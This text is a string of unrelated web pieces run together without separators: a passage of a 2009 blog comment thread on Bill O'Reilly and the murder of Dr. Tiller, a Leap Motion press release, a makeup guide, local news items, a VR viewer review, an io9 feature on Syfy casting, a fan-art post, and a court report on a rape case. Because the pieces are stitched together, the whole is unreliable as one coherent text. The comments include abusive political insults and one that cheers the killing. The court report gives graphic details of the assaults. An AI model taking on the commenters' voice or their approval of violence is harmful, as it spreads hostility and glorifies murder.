... Chris Thomas said on 6/1/2009 @ 6:31 pm PT...
It is rhetoric from people like Bill O'Reilly that has caused the death of this man. No matter which side of the argument you are on. This doctor performed legal surgeries. Bill O' Reilly is a scumbag, and should be held accountable for his violent rhetoric.
COMMENT #2 [Permalink]
... shawn said on 6/1/2009 @ 6:41 pm PT...
O'reilly is such a hypocrit, he reports the news but he reports the news for FOX, when will people realize the the FOX news is not fair and balanced, its strictly for republicans anything that Obama do thats good, FOX news and their commentators will find something wrong with it. O'Reilly, Hannity, & Beck are all old white men who think that the world should be based on their beliefs but in reality the world is would be better off if they was off the air!
COMMENT #3 [Permalink]
... Victim of 1975 said on 6/1/2009 @ 6:59 pm PT...
...and I quote..."Anyone who will stab babies in the back of the head for a living is not a "wonderful" man, Christian, doctor or father no matter what his friends, family or Planned Parenthood say."
COMMENT #4 [Permalink]
... politicalquest said on 6/1/2009 @ 7:30 pm PT...
Whoa, total word twisting going on-maybe o'reilly didn't come out swinging to show a little respect for a murdered man-how ever much he disagreed with WHAT the man did. Call a spade a spade-what dr tiller did indeed do was kill babies in a quite barbaric fashion-for anyone who has children, u know that at 24 weeks, a fetus is considered viable. Any hospital will use extraordinary measures to preserve a baby's life. This doctor did indeed kill babies. Did he deserve to be murdered? No. Did bill o'reilly calling dr tiller "the baby killer" cause an extremist to pick up a gun, walk into a church and shoot someone? Use ur common sense...of course not. For olbermann and maddow to get all nuts about it and rant about bill o'reilly taking responsibility is just ridiculous.
COMMENT #5 [Permalink]
... greyes said on 6/1/2009 @ 8:13 pm PT...
OReilly did not backpeddle one bit. Everything he has said all along is a fact. You idiots feel sorry for a man (socalled doctor) who got rich killing 60,000 babies, but you don't give a whit about those 60,000 innocent babies!
COMMENT #6 [Permalink]
... Mitch Trachtenberg said on 6/1/2009 @ 8:27 pm PT...
If there is actually such a thing as "evil," O'Reilly is it. Stupidity is one thing; but to be gifted with an ability to convince people and then use it only to play games is something different and far worse. O'Reilly probably believes exactly what his instincts tell him will get him the most money. He probably thinks he is "clever." He should go to jail over this murder but, no, I don't expect he'll suffer one moment's harm or a single second thought.
COMMENT #7 [Permalink]
... greyes said on 6/1/2009 @ 8:27 pm PT...
It's staggering to think that you people think waterboarding a terrorist who would blow this nation up in a heartbeat is torture, but stabbing a unborn baby in the back of the head with scissors and then suctioning its brains out before you pull it out of it's mother's womb is a woman's CHOICE! I would like to give you a CHOICE of being water boarded or suffering the fate of a late term aborted baby. Which would you prefer? You have some very perverted "ideals."
COMMENT #8 [Permalink]
... Brad Friedman said on 6/1/2009 @ 8:32 pm PT...
Greyes @ 5 said: OReilly did not backpeddle one bit. Everything he has said all along is a fact. Really? Did I miss his references to Tiller as a "murderer" tonight? By the way, murder is illegal. Tonight, O'Reilly admitted that Tiller broke no Kansas laws. Did they make murder legal in Kansas and I just missed it?
COMMENT #9 [Permalink]
... Soul Rebel said on 6/1/2009 @ 8:40 pm PT...
Poor Bill-O. He doesn't have the courage of his convictions. Then again, I'm still waiting for Hannity to lie back on a board with a rag on his face. I heard there was a lottery in Cali to be the water-pourer, making billions for the state treasury. Schwarzenegger's idea, for reals.
COMMENT #10 [Permalink]
... FreedomOfInformationAct said on 6/1/2009 @ 9:27 pm PT...
inciting hatred towards others, bill o's m.o.....makes him just as guilty of condoning those who committed the heinous act in their lords name. I can't wait for the subpeona to force bill o'lielly to appear to face federal indictment charges for promoting hate crimes.
COMMENT #11 [Permalink]
... Jay said on 6/1/2009 @ 9:51 pm PT...
Didn't Oberman and Maddow see how obviously they were attempting to influence hatred towards O'Reilly? What will their response be if someone offs Bill? O'Reilly was catering to his audience and pulling in viewers as is his job. If anyone is really guilty (besides the murderer and our society's lack-o-dazeicle firearm control) It would be the Kansas legal system for giving Tiller the blind eye he paid dearly for.
COMMENT #12 [Permalink]
... Borat Emmem said on 6/1/2009 @ 9:55 pm PT...
No back peddling that I saw.
O'Reilly reported correctly that they guy was breaking the law, but was greasing the political machine in KS. Good bye and good riddance
COMMENT #13 [Permalink]
... Damail said on 6/1/2009 @ 10:00 pm PT...
Bill O'Reilly is not the slightest bit responsible for this killing, and you know it. There is one and only one person to blame for this crime, and that is the shooter. By the way, if I use your "logic", I can thus proclaim that Code Pink, World Can't Wait, Medea Benjamin and a host of other yahoos are responsible for some anti-military nut killing some people outside a Little Rock recruiting center today.
COMMENT #14 [Permalink]
... FreedomOfInformationAct said on 6/1/2009 @ 10:04 pm PT...
not likely, liberals don't incite or condone violence to achieve their ends, unlike neocon christo-fascists. Obviously the little rock incident was a right wingers response to the horrific impact the church murder was going to have, just like the woman who carved a B on her own face, and then lied about it.
COMMENT #15 [Permalink]
... Brad Friedman said on 6/1/2009 @ 10:14 pm PT...
Jay @ 11 said: Didn't Oberman and Maddow see how obviously they were attempting to influence hatred towards O'Reilly? What will their response be if someone offs Bill? Have they accused O'Reilly of being a murderer, executing thousands, breaking the law, and carrying out a slaughter? Yes, if they demonized O'Reilly in that way, and someone took action on it, they too would need to be held accountable. But they haven't. On the other hand, O'Reilly did.
COMMENT #16 [Permalink]
... Brad Friedman said on 6/1/2009 @ 10:20 pm PT...
Damail @ 13 said: Bill O'Reilly is not the slightest bit responsible for this killing, and you know it. Did I say Bill O'Reilly was responsible for the killing? Feel free to show me where. In the meantime, I was on the radio in San Francisco tonight explaining that O'Reilly was not "responsible" for the killing, only for helping to incite the sort of hatred that encourages such acts of terror by the type who would kill Tiller and/or then come out and applaud the murder, as so many of you wingnuts have so far done --- on this site, and so many others. It seems we now have an American Taliban in this country, and their terrorism works. Be sure to check out the Rachel Maddow video I just added above, featuring one of the founders of the anti-choice rightwing, who exposes how folks like you have been purposely manipulated by these cons, and how sorry he is to have ever taken part in the terror scam.
COMMENT #17 [Permalink]
... Phil said on 6/1/2009 @ 10:38 pm PT...
Hello!? If stations have to make their Public Files available to the public online for comment, as an FCC law. It will give the public the toolbox to get rid of corporate media which misbehaves. We could rid our spectrum of all this nonsense in under two years. You don't like democrats? FLOOD THEIR PUBLIC FILE You don't like republicans? FLOOD THEIR PUBLIC FILE. Sick of FOX news? ABC? Operah? CBS? Where the News Comes Last? Sick of Jim Lehrer: Moderating Presidential Debates? DENY THE STATION A LICENSE
DENY THE NETWORK A LICENSE You don't like anti-abortion, or pro-rights, pro-abortion, or anti-rights, gun control, propaganda, sex, drugs, gays, straights, commercials, lies, spin, financial scams, blacklisted topics like electronic vote tabulation devices? Fake journalists? DENY THEIR FREAKING LICENSE RENEWAL!
DENY THEIR FREAKING LICENSE RENEWAL!
DENY THEIR FREAKING LICENSE RENEWAL! Force their crappy shows onto cable, or "god forbid public access!" Hello!? We are talking about free over the air spectrum, you were just forced to partially upgrade to. You going to argue they spent all their money on 250 thousand dollar HD cameras and new station sets? Plasma Screens, lobbying to cap your data while their propaganda freely flows? Hello!?
Hello!?
Hello!? Of course we can just keep the same crap up by arguing for another 200, 2000, 2 billion, or 2 trillion posts, threads, trolls, threats, blogs, message boards, tweets, and arguments, while the same corporate big money crap keeps destroying the country. While the new cyber laws kick in and make it so we are all criminals. Or worse, perhaps civil war. Hello!? DENY THEIR FREAKING LICENSE RENEWAL!
DENY THEIR FREAKING LICENSE RENEWAL!
DENY THEIR FREAKING LICENSE RENEWAL!
COMMENT #18 [Permalink]
... Brad Friedman said on 6/1/2009 @ 10:49 pm PT...
Do cable stations have to get a license, Phil? Isn't that only terrestrial (air) TV and radio? BTW, either way, cable, just as with air stations, live off the government dole (air stations by the free licenses their granted to use our public airwaves, cable by the subsidies and dispensations they get to run their monopoly), and so I agree they should have to take responsibility for what they do. But just don't know if cable content providers (channels) have to get licenses to broadcast at all.
COMMENT #19 [Permalink]
... Phil said on 6/1/2009 @ 11:25 pm PT...
Over the air frequency allocations, station licenses.
Yes yes.
Change the law. Current Law is flawed.
Public Files are the answer!
My FOCUS is public spectrum. "The free licenses they are granted to use our public airwaves" --- CAN BE DENIED. Perhaps I am in the strange situation since I grew up two blocks away from FOX 40 on Fruitridge Road. So when I say FOX, that's what I mean, over the air, receive via rabbit ears. (now rabbit ears + converter box) You wanna be a shock jock, or XXX rated channel, hard core music like me? Cable, or public access is your entry point. However with that said, Cables, cross our roads, under our streets, have ease ways. There may be an angle there as well. I don't know about that. I am concerned with transmitters, satellites, public spectrum and regulation--the ENGINEERS need to be running the show not big money, and NOT big government. Brad asked
"Do cable stations have to get a license, Phil?" I am on public access which is based off of COMCAST. (PEG) Programming, |
– January 16, 2013 –Leap Motion, the motion-control software and hardware company changing the future of human/computer interaction, today announced it will launch its Leap Motion Controller exclusively in all U.S. Best Buy stores and online at BestBuy.com this spring. The Leap Motion controller will be available for pre-order online at BestBuy.com beginning in February, and Leap Motion will also continue taking pre-orders directly at LeapMotion.com.
Leap Motion's technology can track movements up to 1/100th millimeter-smaller than the tip of a pin-with no visible lag time. The Leap Motion controller has a 150-degree field of view, and tracks individual hands and all 10 fingers at up to 290 frames per second. The Leap Motion controller measures approximately 3 inches long, 1 inch wide and ½ inch thick.
"Consumers expect Best Buy to have the latest connected technology and the Leap Motion Controller is a great example," said Jason Bonfig, merchant vice president for computing at Best Buy. "We are excited to bring this innovative product exclusively to our customers. "
"Finding a major retail partner for our North American launch was a critical component to our strategy, and Best Buy was the obvious choice," said Leap Motion President and COO Andy Miller. "Best Buy's market leadership and extensive store distribution network, combined with the product floor space and dedicated marketing promotional plans, represents an incredible opportunity to bring the Leap Motion controller to a massive consumer audience."
In May 2012, Leap Motion revealed its technology and controller to huge global excitement. More than 40,000 developers worldwide have requested to work with Leap Motion, and the company has sent out 12,000 free units to developers to foster the creation of new applications. The controller will ship with an application store for consumers to discover new uses of the technology, and for developers to sell their applications. Leap Motion will continue taking direct orders world wide for the controller at www.leapmotion.com, and will ship pre-orders later this quarter.
About Leap Motion
Based in San Francisco, Leap Motion is a motion-control software and hardware company developing the world's most powerful and sensitive 3-D motion-control and motion-sensing technology. Leap Motion's first product, the Leap Motion controller, will be available in early 2013 and will ship with an application store. Leap Motion is 200 times more sensitive than existing motion-control technology, making it the first product to let users navigate and interact with computer applications using natural hand and finger movements. Leap Motion was founded in 2010 by Michael Buckwald and David Holz.Highlighting and contouring has been a popular topic in the beauty industry. From celebrities to Youtube stars, everyone seems to have tips and tricks for creating the perfectly highlighted and contoured face. With the launch of Luxe Liquid Bright Concealers we thought it was time for a step-by-step guide on contouring and highlighting featuring our lovely National Educator, Janeena Billera.
Use this photo as a guide but before you start you will need to find the shades that work for your skin tone. We recommend picking three different shades: a contour color, a light highlight color and a medium highlight/ transitional color. The contour color should be two shades darker than your natural complexion, the lightest highlight should be two shades lighter than your natural skintone and the transitional/ highlight product should be one shade lighter than your natural skintone.
Labels: Before and After, Contour, Fall 2014, Fall Product Highlights, glo how-toRedhill School in Stourbridge will bring in the controversial technology as part of a plan to implement a cashless system throughout the school.
The system requires pupils to press a finger against a machine which converts the print into biometric data.
This can then be used to identify individual pupils accounts.
The 1,200-pupil school in Junction Road detailed its plans in a letter to parents last month. Headteacher Stephen Dunster said the scheme was part of a long-term plan to allow parents to pay for any school related fees over the internet.
Would you be happy for your children to be fingerprinted? Leave your comments below.
He said: "We are aiming to have a cashless system throughout the school. The catering system is better for parents because they don't have to provide children with lunch money every morning. From our perspective it is far more efficient as it reduces waiting times."
"We will also be able to monitor what children are buying to make sure they are eating a healthy diet."
Is it the responsibility of the school to ensure that pupils are eating healthily? Leave your comments below.
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The system is due to go live in November. Since a change in the law last year schools have been required to consult parents before they bring in the technology. The law also allows parents to refuse to allow their children to have their fingerprints taken.
Around half of Dudley's secondary schools use some form of biometric system. But its use has come under fire from civil liberties campaigners, who fear the information could be stored on school databases. Mr Dunster added: "We don't hold fingerprints on file. This is about using technology to benefit our pupils and parents."
We have had a lot of comments on this story on Twitter already, but comment on the page so that your comments are not missed.Chris Mason enjoyed his first year in Europe so much that he's heading back in two weeks time.
Different country, though. Mason, his wife Courtney and their two young daughters will be off to Germany after the Red Deer minor hockey product and former Prince George Cougar guarded the net of the Ritten Renon Trucks in the Italian Hockey League First Division last winter.
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Mason will suit up with the Augsburger Panther of the top German League for the 2014-15 season and is hoping the experience will rival that of his year in Italy. As he admitted, the experience was everything he anticipated, and more.
Really, how could it have gone any better? The Trucks, with the 38-year-old former NHL netminder playing a major role, won the prestigious Italian Cup and then the league championship.
What Mason wasn't expecting was precisely how fast the game is played in Italy's premier league.
"The calibre of play was a lot better than I thought it would be," he said Friday, after playing in the Sutter Fund Charity Golf Classic at River Bend. "The teams each have eight or nine imports and most have some American League and NHL experience. It was a great year hockey-wise."
While Mason excelled on the ice - posting a 27-8-0 record with a 2.18 goals-against average and.927 save percentage - he also enjoyed life away from the rink.
"The lifestyle was amazing," he insisted. "Ritten is a mountain town... literally, it's 30 minutes up a mountain and is probably the most beautiful place I've seen in my life. It's actually three to four small towns, and people live a simple life. It's a self-sustaining place where the people grow and raise all of their food.
"The town is in Italy but it's a German-speaking place an hour from the Austrian border. Before World War II it was part of Austria and that part of the world was given to Italy at the end of the war. It's predominantly a German area. My daughter (eight-year-old Avery) went to a German-speaking school and learned the language. It was awesome."
And now he's moving on to what should be another superb European adventure.
"I was approached about playing in Germany during the season. The Augsburger coach and general manager watched a bunch of our games and asked if I was interested in playing for [their] team," said Mason. "I told [them] I'd have to wait until the season was over to decide.
"We came home to Red Deer and talked about it and thought that it would be great to do one more year overseas. We're going to a city of under 300,000 people. There's an international school so it will be all English-speaking. That was important for our decision, to have that for Avery, our oldest daughter. I also want to play one more year at a top level."
One year from now, Mason will likely be preparing to go to work with the Nashville Predators, the team he played for during the majority of his nine-year NHL career. He also spent two seasons with the St. Louis Blues and one winter with each of the Atlanta Thrashers and Winnipeg Jets.
Mason, whose other daughter is two-year-old Quinn, will serve as either an ambassador with the Predators or with the club's radio play-by-play team, as a colour man.
"That's the tentative plan. I have that option to work with the Predators next year," he said. "I'll either be back here or in Nashville.
"[Former assistant coach] Brent Peterson does colour for the radio broadcast and if he wants to do it again in a year's time then he'll keep the position. If he wants to move on that position might be there for me."
Mason is no stranger to a microphone.
"Working in broadcasting is definitely something I'd like to try," he said. "I did a lot of that stuff when I played in Nashville. We would do on the bench things and spend time on the air with both TV and radio. It's something I felt was worth exploring."
Regardless of whether he gets the full-time radio gig, the former WHL star with the Cougars (1994-97) will get some time on the air.
"I'll be filling in for radio and TV and I'll also be working charity events... stuff along those lines," he said. "I've talked to the Predators this summer, but nothing has been decided yet."My personal top five!
5. Just You (Qi Yi & Cheng Liang Liang)
What happens when you start living in the same house as your boss? Well, in many cases that would result in you running far far away, but in Cheng Liang Liang's case, it ends in a very adorable romance!
4. Goblin (Goblin & Grim Reaper)
The drama was awesome for many reasons, but the relationship between these two stole the show! A quirky Goblin and a timid Grim Reaper who hate having to do anything with each other and then without even realizing it, they eventually create a life-long friendship (literally).
3. Master's Sun (Joo Jong Won & Tae Gong Shil)
This was one of the dramas that taught me the saying 'don't judge a drama by its poster'. I was very reluctant to watch it thinking that it would be gloomy and depressing and thank goodness I didn't stick to my prejudices and gave Master's Sun a shot! Ended up in my best dramas of all time, thanks to these two!
The chemistry between the two stars was the reason this remake of Korean full house shot through the roof! The very imminent chemistry between the stars has caused many of their fans to ship them even till now.
1. Coffee Prince (Choi Han Kyul & Go Eun Chan)
This was one of the most popular dramas of the gender bender genre. The reason why it was so popular despite the obvious eye candy is probably because of the natural and casual interactions between the two characters.Of all the accessories shown off when Google first announced their "Works with Cardboard" partnerships, the Go4D C1-Glass stood out as one of the more curious offerings, due largely to how different the design was from the Gen 1 Cardboard units handed out at Google I/O last year. It turns out this is one of the better Cardboard offerings out there, and not just for folks with phones that don't fit in the sleeve of your standard foldable VR accessory.
The biggest thing that stands out about C1-Glass is the design. Instead of placing the phone in an enclosure that eliminates most of the light in between your eyes and the display, something almost every VR headset does to help create that immersive experience, C1-Glass is just a little plastic frame to hold your phone with some aspheric lenses and a nose bridge. The distance between your eyes and the display is the same, but there's nothing keeping the light out at all. Curiously, throughout our testing, usage didn't suffer due to this design. It could be the absurdly great displays on the G4 and Galaxy S6, but the effect created by the split screen and lenses was unbroken. It worked the same as all the other Google Cardboard variants we've tested, only C1-Glass is much lighter and can be enjoyed without concern that prescription glasses would bump the casing or get in the way.
There's nothing on the sides of the phone with this design, which means there's no magnetic ring to flick.
As cool as it is to have a lightweight, collapsible design that can slide in your pocket and support just about any smartphone form factor — due in no small part to Google's new barcode-based calibration tool in the Cardboard app to adjust the display dimensions to fit the accessory instead of the other way around — C1-Glass is missing what many would see as a critical component in the design for Google Cardboard. There's nothing on the sides of the phone with this design, which means there's no magnetic ring to flick to make selections. You have to use your finger to tap the screen, which means you can't really use this setup for the VR shooter games that are out there and the experience is mostly ruined if you manage to leave a big greasy fingerprint right where you'd normally be watching something. There's also no way you'd ever be able to strap this design to your head, so using C1-Glass for more than a few minutes at a time isn't going to happen for most folks.Over the last couple of seasons of television, critics and audiences have begun to pay a considerable amount of attention to the role of women and racial diversity on their favorite shows. Despite being set in the future, science fiction television has often been stubbornly stuck in the past. With its latest lineup, however, the Syfy channel has demonstrated that a proactive approach can create lasting change.
While visiting the sets of Dark Matter and Killjoys, I spent some time chatting with a fellow journalist, where we began to talk about how the channel’s new slate of shows had demonstrated some considerable changes in the science fiction world: across The Expanse, Dark Matter, Killjoys and 12 Monkeys, women and people of color were cast in lead or in prominent roles, with particular attention being paid to underprivileged groups in many instances. Recently, spoke with the showrunners of each production about their approach to envisioning their respective futures.
This isn’t a new set of changes: there’s been a number of notable examples lately where there have been some conscious decisions made during the casting phase of productions: just look at the cast of Star Wars: The Force Awakens, of Ghostbusters or of Orphan Black. Going even further back, there’s iconic characters such as Samantha Carter in the Stargate franchise, Commander Susan Ivanova of Babylon 5 and Lt. Nyota Uhura in Star Trek: female characters who have become iconic representations of a more representative future.
In 2013, the Syfy channel underwent some changes, with programming changes that brought along its current slate of programming. With these new shows came a new focus on presenting a diverse cast. Some of the network’s latest offerings, such as Twelve Monkeys, The Expanse, Dark Matter, Killjoys, and Wynonna Earp each prominently feature women and a diverse cast. It’s a positive and progressive step forward within science fiction television, but their actions show that this isn’t something that happens by accident: it’s a deliberate series of decisions that are made to make this happen.
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During the opening of Dulcinea, the first episode of The Expanse, we’re treated to a voiceover from a man with a heavily accented speech.
But the immense resources and wealth that flow through our gates aren’t meant for us. Belters work the docks, loading and unloading precious cargo. We fix the filters and the pipes that keep this world living and breathing. We belters toil and suffer, with our hope and without end. And for what? One day Mars will use its might to wrest Ceres from Earth, and Earth will go to war to take it back. It’s all the same to us: no matter who controls Ceres, our home, we will always be slaves. That’s all we are to the Earthers and dusters. They built the solar system on our backs.
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The scene passes from space and dives into Ceres station, flying through hangers and vents and living spaces, showing off the spectrum of the station’s inhabitants, from the ultra wealthy, with open spaces and grass, to grimy, poor market spaces. By the time we reach the belter speaking out against Earth and Mars, one can pick out the mix of ethnicities represented in the crowd, and a new distinguishing factor which will become a key element of the show: the belters themselves: in the low gravity of Ceres Station, they’ve grown tall and spindly: they also can’t return humanity’s home planet, as we watch Chrisjen Avasarala torture a belter spy by simply bringing him down to the planet’s surface.
The novels that make up The Expanse placed racial and wealth inequality as a key element of the story running in the background, while the adaptation has placed it firmly in the forefront: racial and economic tensions are a major part of what’s driving the story.
Mark Fergus, one of The Expanse’s showrunners told io9 that the books had laid much of the groundwork when it came to how the television adaptation depicted its future inhabited solar system:
“James S.A. Corey (Ty & Daniel) did much of the work for us in this regard. Characters like Chrisjen Avasarala, Naomi Nagata, Julie Mao and Bobbie Draper are already front and center in the novels. Corey was interested in portraying a world where the human race had evolved beyond sexism — only to be replaced by more ‘evolved’ expressions of hatred and racism. Ah, humanity.”
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When it came to adapting the books, they approached the world in an unconventional way: ignoring all of the modern attitudes and build their own attitudes:
“An unexpected challenge of capturing Corey’s world view on screen, was to make a conscious effort to pare away the sexual politics and attitudes of today. This was especially important during the script writing stage of the process — we often needed to steer the reader away from modern-day reactions, that if left uncommented, would play against the intentions of a scene.”
Even as the network was presenting a diverse future, Fergus told us that the story was first and foremost. “It’s sometimes a slippery slope. In Season One, we changed one important, but minor character’s race, and some fans were pissed off. We had a very specific story reason for making this change — added to which, the best actor we auditioned happened to be of a different race. In the end, the story wins. You cast who best tells the story.”
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This isn’t strictly limited to the network’s flagship show, either. Last summer’s show Killjoys presented viewers with Dutch, a bounty hunter who tracked down warrants for a living, a character who can hold her own with the likes of Sam Carter or Susan Ivanova.
Killjoys doesn’t stop there: the show’s entire first season looks back at the idea of wealth inequality and race. Set in The Quad, a trio of moons and parent planet, the world in which the show inhabits is stratified. The wealthiest live on Qresh, an Earth-like planet, where the undesirables and waste is exported. Westerly, one of the planet’s moons, has been strip-mined by the company for years, leaving it a toxic wasteland, while Leith is the system’s bread-basket, where workers are tagged and killed if they attempt to escape. Its inhabitants etch out a meager living, hoping to be rewarded after years of labor by an access pass to the planet.
Killjoys’ creator Michelle Lovretta said that the show in part came to be to address some things that troubled her as a girl reading science fiction. “If you look at season 1, look at the teaser.” She noted when asked about what things in science fiction bothered her during our trip up to Toronto. In the opening moments of Killjoys, we’re introduced to John after he’s been captured, while Dutch is brought in and threatened by a group of gangsters.
“The whole show was set up basically to spin a trope of bring in a woman and threaten rape on her. And that’s her story. Except I say ‘Fuck you.’ Her story is you’re going to bring her in and this is my plan, and I am the boss, and I’m going to take this and have an entire journey come from that, and that was really from a lot of stuff I saw as a young girl. You’re changing the channel and you see these things: the old Bronson movies, etc. You’re like ‘No, I don’t want that, I don’t want to live in a world like that, and I don’t want to pretend that that’s okay. So I flip it and as long as I do it in a way that I’m having fun, and the purpose of it is to entertain, then I’m good with it.”
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Lovretta’s motivations for the show stemmed out of her desire to see a very different world than what she had read and watched in science fiction. “I don’t want to just meet myself.” she noted, “I don’t want to meet people who look like myself. I don’t just want to meet people who have sex the way that I do; I don’t like that world. I like a world that is full-bodied and has a lot of variety in it and that’s also something that we kind of commit to trying to do, because there’s nothing more boring and bland and sameless, and if you want to be bland, you shouldn’t be in sci-fi.”
Furthermore, she envisioned that the show featured a woman of color from the onset. “When I first pitched the show concept there hadn’t been a spaceship show on the air in years, so I was already anticipating a tough sell.” Lovretta told us in a recent interview. “On top of that, I was insisting on a WOC at the ship’s helm, which hadn’t exactly been done a million times. But Syfy was fully behind Dutch from the start, and together we made a conscious effort towards casting a diverse lead.”
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In addition to presenting a world that was more inclusive when it came to gender and race, Killjoys (and her earlier show, Lost Girl) sought to present more inclusive viewpoints when it came to sexual attitudes:
“It’s my worldview. I’m an intensely non-political person, its when I tell a story, It has to come from my heart and it has to be something I believe there’s a kindness to it. There’s a lot of science fiction and there’s a lot of horror that comes from a place of darkness and it comes from a place of nihilism, and I’m just really frickin’ chipper. So, I can’t do that. I don’t want to watch that; I don’t want to make that, so often the people in my world have liberties, because I want to live in a world that grants those, and I don’t know why we wouldn’t. I don’t find that scary, I don’t find the idea of granting rights to the people around me as long as they don’t shit on me in the process, a scary thing, and so the worlds that I create are people who remind me of people that I work with, the people I grew up with and I went to school with, and it would feel fake to me to not have them around. So I don’t put them there for a purpose: I put them there because they’ve always been there, and it would feel like I was editing if I didn’t have them.”
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The third space opera offering from Syfy is Dark Matter, which follows the crew of the Raza as they attempt to figure out who they were before their memories were wiped, and how to survive to complete their next job.
Creator Joseph Mallozzi came up with the idea of the show while working on Stargate SG-1, and put his original script together into a comic book, which was published by Dark Horse Comics before it was turned into the current iteration running on the Syfy Channel.
The comic book Mallozzi put together had established some character roles, and despite that, they decided that they wouldn’t be constrained by what had been put down in the book. “The Android was male,” Mallozzi noted, “when we were casting, we decided to use the comic book characters as a template,” When it came time to cast the characters, several were opened up to different genders. The role of Android, presented as male in the comic, went to Zoie Palmer.”
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Mallozzi noted that while a diverse cast was important, the story and best actors before them were what would make the final cut: “Diversity is important. At the end of the day, when it came to casting, we went out to cast the best actor. Roger Cross [Six] was sort of a diverse choice, but he was the best actor for the role.”
The cast of the comic book was always envisioned as a diverse cast. “The character of Two, played by Melissa O’Neil, I always imagined her as Asian, but we opened it up to all ethnicities. She just happened to give the best performance.” Similarly, for the newer roles appearing in the show’s second season, the show worked to cast the best actors and actresses who auditioned. Mallozzi noted that their racially diverse cast “is reflective of society, and I think that’s great.”
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When it came to 12 Monkeys, the production shared an advantage with The Expanse: they were working off of good source material from which they could work. Terry Matalas noted that they “were lucky that our main character, Cassandra Railly, already was a strong female character from the original film.”
“However, we wanted to make her even more active in the series. We knew we wanted to put Cassie and Cole (our time traveling savage) on equal footing, so we accelerated her arc by the second act of the pilot.”
The production decided to add some additional characters to the television show beyond what had been seen in the film: Jennifer Goines, a mathematician who aids Railly as the two of them work to uncover a world-wide conspiracy.
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Like the other productions (all of which were filmed in Toronto), Matalas noted that the burden lies with their casting directors to create a world that looks real: “You want to be organic as best you can. Our casting directors rise to the occasion and find the talent.”
The collective efforts from each show demonstrate that building a strong, diverse show is a much larger effort than simply hoping that a diverse cast of actors comes through the door to the casting office. Systemic changes must happen on every level, from the writers to the network to the showrunners. Syfy seems to have bought in to this, supporting showrunners who have brought diverse properties before them, following up by making sure that they’re looking for the right people to populate their worlds.
The channel appears to be paying attention to some of the larger arguments that have been directed at the motion picture industry as a whole by including a wider range of ethnicities and genders in their productions. The end result is a slate of shows which increasingly look much like the population from which they come from. This isn’t just a matter of paying lip service to various groups who feel underrepresented: it’s good business. Earlier this year, UCLA released a report, 2016 Hollywood Diversity Report: Busine$$ As Usual?, which found that “Films with relatively diverse casts enjoyed the highest global box office receipts and the highest median return on investment.”, while shows that featured higher levels of diversity amidst their casts tended to do much better with the highly sought after demographics: “Median 18-49 view ratings (as well as median household ratings among whites, black Latinos and Asian Americans) peaked for broadcast scripted shows featuring casts that were greater than 40 percent minority.”
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While science fiction has been celebrated as presenting diverse futures since the 1960s with Star Trek, the world has changed considerably in a half century, and with it, the futures that creators envision. With their latest slate of shows, Syfy has consciously pushed for more realistic looking worlds that we might someday inhabit.
Disclosure: Syfy paid for io9's transportation and lodging during a set visit earlier this year.hahaha so the bioware madness continues, first it started with dragon age and dragon age 2, and now i got affected by the most awesome game ever: Mass effect.i can say this: i have never been a fan of sci fi. i love nature and sci fi was always everything completly opposite from what i liked, but this game opened my eyes, i finished both mass effect 1 and 2 i ONE WEEK, i cant remmeber when was the last time i was sucked in the game this much!this is doctor mordin i always have him in my group he is i think my 3rd favourite character in the game, 1st being garrus of course, and second tali.i started out by sketching his face because i really love to draw all the wrinkles and skin and it just looked so interestingi definitly plan on drawing garrus and tali, she is so cute with her voice and her outfit has all those interesting details.Mass Effect (c) BiowareRapist: Derrick Mutambuka assaulted two women in Sunderland
Women's rights activists have savaged a lawyer for playing down the crime of his client who inflicted a 'prolonged and sustained' rape on a woman in an alleyway.
Derrick Mutambuka assaulted a woman in the street after becoming'sexually aroused' in a Sunderland nightclub.
He then grabbed another woman and raped her in an alleyway giving her 34 injuries as she screamed for help. He paused only to kick and spit blood at passers-by who tried to stop him.
Defending him at Newcastle Crown Court, Mr Ekwall Tiwana said of his crime: 'Although it is very serious, it is not in fact the most serious.'
His comments have outraged women's rights activists who say they play down the horrendous crime of rape.
Women's activist Aisha Ali-Khan told MailOnline: 'This is a sickening case - the defending counsel’s stance beggars belief.
'This was an appalling, premeditated attack that has left two women with life-long psychological scars. For the defence to downplay the impact and seriousness of the attacks shows a complete lack of empathy and compassion for what the victims had to endure.
'It also goes a long way in explaining why so many women would rather suffer in silence than report their sexual assaults to the authorities.'
She added: 'I am dismayed at the system that allows defence lawyers to make such irresponsible comments without any challenge'.
Mutambuka, originally from Rwanda, left the bar in Sunderland on 20 December 2015 and began talking to a woman on the street.
After she appeared disinterested in him, he pushed her against some shop shutters and proceeded to force his hand down her trousers.
The terrifying sexual assault came to an end when a passer-by intervened and walked the woman home.
But Mutambuka, who was 17 at the time, followed them back to her address and peered through her letterbox.
Newcastle Crown Court heard how just a short while later, the defendant then saw another woman in the street and dragged her into an alleyway before raping her.
A member of the public attempted to stop the rape after hearing the victim's terrified screams, but was forced to back off after Mutambuka kicked him.
The assault carried on for minutes - only to come to an end when a second man came to her rescue.
Prosecutor Andrew Espley said: 'This was a prolonged and sustained attack.
'There was a significant degree of planning. He wanted it to happen and took steps to make sure that it did.
'He was a man that would not be deterred. Others were present and witnessed the victim's ordeal. The victims were alone and vulnerable.'
Mutambuka, now 18, of Gateshead, was found guilty of rape and sexual assault following a trial - with what a judge described as 'overwhelming evidence.'
Newcastle Crown Court heard how the defendant then saw a woman in the street and dragged her into an alleyway before raping her
He was also found guilty of counts of assault, relating to the first man who he kicked and the second who he spat on, with spittle containing blood on 20 December 2015.
Mr Ekwall Tiwana, defending, said that his client was very drunk at the time of the offence and had only been drunk once before in his life.
He said: 'The general nature of this case is that it is a very serious offence. Although it is very serious, it is not in fact the most serious.
'This defendant was 17 at the time and had no previous convictions.
'This young man was passed from pillar to post and country to country essentially. He has been subject to a very unsatisfactory life until he moved to Newcastle and studied in Gateshead.
'He has admitted that what he did was disgraceful and disgusting. He has recognised what he did.'
The court heard how the defendant studied English, Maths and IT at Gateshead College. The rape victim suffered 34 injuries during the attack, including reddening, abrasion and tenderness on her head, face, neck, legs and chest as well as on her genitals.
She was also punched and'manhandled' during the attack. Sentencing him to nine year and nine months imprisonment, Judge Robert Adams said: 'This was a persistent course of conduct.
'You were sexually aroused dancing in the club and that continued when you were going home until you committed the offence.
'You were determined to have sex with a woman regardless of her views or who she was or whatever her circumstance.
'You used violence, judging by the numerous injuries that the victim sustained.
